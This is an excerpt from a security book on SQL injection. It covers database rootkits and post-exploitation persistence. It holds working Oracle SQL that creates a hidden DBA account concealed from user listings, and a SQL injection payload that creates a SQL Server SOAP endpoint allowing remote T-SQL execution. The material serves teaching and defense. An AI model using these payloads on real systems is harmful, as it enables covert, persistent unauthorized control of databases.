SQL Injection Attacks and Defense : Exploiting the Operating System - Consolidating Access

One of this book's contributing authors, Alexander Kornbrust, along with NGS Software's David Litchfield have published extensively on the existence and creation of database rootkits, which effectively subvert the security of the database much like a traditional rootkit subverts the security of an operating system. These can be made that much more effective since file system rootkits have been known about for decades whereas database rootkits are a fairly new concept.

The following sample code implements an Oracle rootkit by updating a row in a table:

-- the following code must run as DBA
SQL> grant dba to hidden identified by hidden_2009; -- create a user
hidden with DBA privileges
SQL> exec sys.kupp$proc.change_user('SYS'); -- become user SYS
-- change the users record in sys.user$
SQL> update sys.user$ set tempts#=666 where name='HIDDEN';
-- does not show the user HIDDEN
SQL> select username from dba_users;
-- but the connect works
SQL> connect hidden/hidden_2009

Here is a quick explanation of why this works. To display the list of users, Oracle uses the views ALL_USERS and DBA_USERS. These views contain a join among three tables. By setting tempts# (or datats# or type#) to a nonexistent value, you can remove the user from the result of the join and from the view.

CREATE OR REPLACE FORCE VIEW "SYS"."ALL_USERS"
("USERNAME", "USER_ID", "CREATED") AS
select u.name, u.user#, u.ctime
from sys.user$ u, sys.ts$ dts, sys.ts$ tts
where u.datats# = dts.ts#
and u.tempts# = tts.ts#
and u.type# = 1

You can find further information concerning Oracle rootkits at the following Web sites:

• www.red-database-security.com/wp/db_rootkits_us.pdf

• www.databasesecurity.com/oracle-backdoors.ppt

In 2008, two additional contributing authors of this book, Marco Slaviero and Haroon Meer, showed that newer versions of SQL Server now have the native ability to expose Simple Object Access Protocol (SOAP)-based Web services through http.sys, the same kernel component that manages Internet Information Server (IIS). This means that an attacker who has obtained the necessary privileges can create an HTTP listener that is bound to an SQL stored procedure. The collection of images in Figure 1 walks through the attack. Starting from the left, we note that /test returns a page on the Web server. The query manager windows to the right create the ENDPOINT3 endpoint on path /test. The next two frames show that the /test page has now been “virtually overwritten.”

Figure 1. Creating SOAP Endpoints within SQL Server

The preceding example shows the strange architecture choice that allows the CREATE ENDPOINT command in SQL to effectively overwrite the /test page on the Web server. This happens by design, because SQL Server is given a higher priority with http.sys.

Although simply creating a denial of service (DoS) condition is fun, the utility is substantially increased when you consider the possibility of linking the endpoint to a stored procedure that can accept posted commands which are then evaluated on the server. Fortunately, this is not needed, since SQL Server natively supports sqlbatch when creating SOAP endpoints. According to MSDN (http://msdn.microsoft.com/en-us/library/ms345123.aspx).

“When BATCHES are ENABLED on an endpoint by using the T-SQL command, another SOAP method, called “sqlbatch,” is implicitly exposed on the endpoint. The sqlbatch method allows you to execute T-SQL statements via SOAP.”

This means that faced with the simple injection point used in previous examples, we can issue our request to create the SOAP endpoint we need:

username=' exec('CREATE ENDPOINT ep2 STATE=STARTED AS HTTP (AUTHENTICATION =
(INTEGRATED),PATH = ''/sp'',PORTS=(CLEAR))FOR SOAP (BATCHES=ENABLED)')—

					  

This creates a SOAP endpoint on the victim server on /sp, allowing us to aim a SOAP request (with an embedded SQL query) at the endpoint. Figure 2 shows a tiny Perl-based SOAP query tool that you can use to talk to the newly created endpoint.

Figure 2. A Perl-Based SOAP Query to the Created Endpoint